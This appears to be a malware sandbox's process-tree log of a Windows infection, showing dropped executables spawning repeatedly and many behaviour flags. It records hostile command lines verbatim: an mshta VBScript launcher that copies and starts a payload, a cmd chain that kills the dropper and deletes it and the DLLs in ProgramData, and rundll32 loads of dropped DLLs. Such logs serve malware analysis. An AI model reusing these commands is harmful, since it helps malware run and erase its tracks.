C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9996
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10920
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4936
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9692
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8552
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7328
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8340
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4688
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9808
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7204
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10140
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7820
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8648
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:5216
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6464
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8424
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:3188
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4268
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5876
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8560
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9496
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6396
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:3064
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:2468
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:2608
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:5512
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4408
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6564
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11116
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8984
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8136
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:1112
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:1508
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7520
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4620
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:5348
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10748
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4260
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10504
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4784
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7268
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7964
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6084
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9104
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9472
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6324
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8428
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10332
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9596
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:5988
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8448
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10900
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:2376
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:680
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10060
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:3388
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4944
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:5940
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10384
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:2216
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:2992
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8172
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11396
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11984
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11504
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:3712
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11976
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12512
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12560
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11252
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13176
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11492
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6516
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6840
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11664
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13524
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14216
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13948
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13568
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:6652
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14036
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11796
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13396
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14176
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13328
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13768
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:9128
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13120
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11456
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:1324
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:8528
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13648
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12208
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12232
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14184
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13580
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7192
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:3300
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:11488
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:10196
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7032
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:1000
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:4612
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12744
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12744 -s 2810⤵
- Program crash
PID:12772
-
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13360
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12780
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13764
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13764 -s 2810⤵
- Program crash
PID:14804
-
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14472
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:15300
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:15208
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14748
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:14064
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12772
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12480
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:13424
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:12460
-
-
C:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exeC:\Users\Admin\Documents\NEwspionZOWid2LXZjK1dl1Y.exe9⤵PID:7148
-
-
-
C:\Users\Admin\Documents\4_9XpzCK8Xzf0qZpdJmnRGBV.exe"C:\Users\Admin\Documents\4_9XpzCK8Xzf0qZpdJmnRGBV.exe"8⤵PID:8416
-
C:\Users\Admin\AppData\Local\Temp\is-EUBH6.tmp\4_9XpzCK8Xzf0qZpdJmnRGBV.tmp"C:\Users\Admin\AppData\Local\Temp\is-EUBH6.tmp\4_9XpzCK8Xzf0qZpdJmnRGBV.tmp" /SL5="$50232,138429,56832,C:\Users\Admin\Documents\4_9XpzCK8Xzf0qZpdJmnRGBV.exe"9⤵PID:9896
-
C:\Users\Admin\AppData\Local\Temp\is-HPIJ1.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-HPIJ1.tmp\Setup.exe" /Verysilent10⤵PID:8952
-
-
-
-
C:\Users\Admin\Documents\ReB7MklqGaCiq8zcYNm3BebC.exe"C:\Users\Admin\Documents\ReB7MklqGaCiq8zcYNm3BebC.exe"8⤵PID:9168
-
-
C:\Users\Admin\Documents\ku3gpiegA7lWkMOYzsXBveN9.exe"C:\Users\Admin\Documents\ku3gpiegA7lWkMOYzsXBveN9.exe"8⤵PID:9192
-
-
C:\Users\Admin\Documents\N1IIzunipZd1YG_hUdCEj5WY.exe"C:\Users\Admin\Documents\N1IIzunipZd1YG_hUdCEj5WY.exe"8⤵PID:5504
-
C:\Users\Admin\Documents\N1IIzunipZd1YG_hUdCEj5WY.exe"C:\Users\Admin\Documents\N1IIzunipZd1YG_hUdCEj5WY.exe"9⤵PID:11012
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im N1IIzunipZd1YG_hUdCEj5WY.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\N1IIzunipZd1YG_hUdCEj5WY.exe" & del C:\ProgramData\*.dll & exit10⤵PID:10196
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im N1IIzunipZd1YG_hUdCEj5WY.exe /f11⤵
- Kills process with taskkill
PID:1736
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 611⤵
- Delays execution with timeout.exe
PID:9612
-
-
-
-
-
C:\Users\Admin\Documents\omn6LWAVuATuhR8akBineZ9j.exe"C:\Users\Admin\Documents\omn6LWAVuATuhR8akBineZ9j.exe"8⤵PID:3084
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\Lfq5QAg98JJMphaqMUvQvMkG.exe"C:\Users\Admin\Documents\Lfq5QAg98JJMphaqMUvQvMkG.exe"2⤵
- Executes dropped EXE
PID:820
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv bIwyp2o330q1fggh9KFnew.0.21⤵
- Modifies data under HKEY_USERS
PID:3820
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1888 -ip 18881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3136
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 8 -ip 81⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2212
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1116 -ip 11161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2140
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 656 -ip 6561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2180
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:4388
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /Im "kpvCLQHJRGwz5tmbqxPLzw5O.exe"1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4468
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScRipT: CLOSe ( CreATEoBjECT ("wscrIpt.SheLL" ). RUn ( "C:\Windows\system32\cmd.exe /c TYpE ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF ""-pA1IQsAATOS0kxrmeOcrgfdjncUG "" == """" for %N In ( ""C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE"" ) do taskkill -F /Im ""%~nXN"" " , 0, True ) )1⤵PID:3984
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "-pA1IQsAATOS0kxrmeOcrgfdjncUG " == "" for %N In ("C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exE" ) do taskkill -F /Im "%~nXN"2⤵PID:5644
-
-
C:\Users\Admin\AppData\Local\Temp\KRkNvH~YgUUt9O.exEKRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG1⤵PID:2980
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1248
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 2376 -ip 23761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5764
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c TYpE "C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe" > KRkNvH~YgUUt9O.exE && STarT KRKNvH~yGuUT9O.eXE -pA1IQsAATOS0kxrmeOcrgfdjncUG & iF "" == "" for %N In ("C:\Users\Admin\Documents\kpvCLQHJRGwz5tmbqxPLzw5O.exe" ) do taskkill -F /Im "%~nXN"1⤵PID:748
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 820 -ip 8201⤵PID:3148
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1472 -ip 14721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1880
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 1448 -ip 14481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Executes dropped EXE
PID:1204
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1192 -ip 11921⤵PID:5876
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5232 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:3880
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3880 -s 4563⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6068
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3880 -ip 38801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4028 -ip 40281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6704 -ip 67041⤵PID:6488
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:8188 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:5744 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5744 -s 4523⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5396
-
-
-
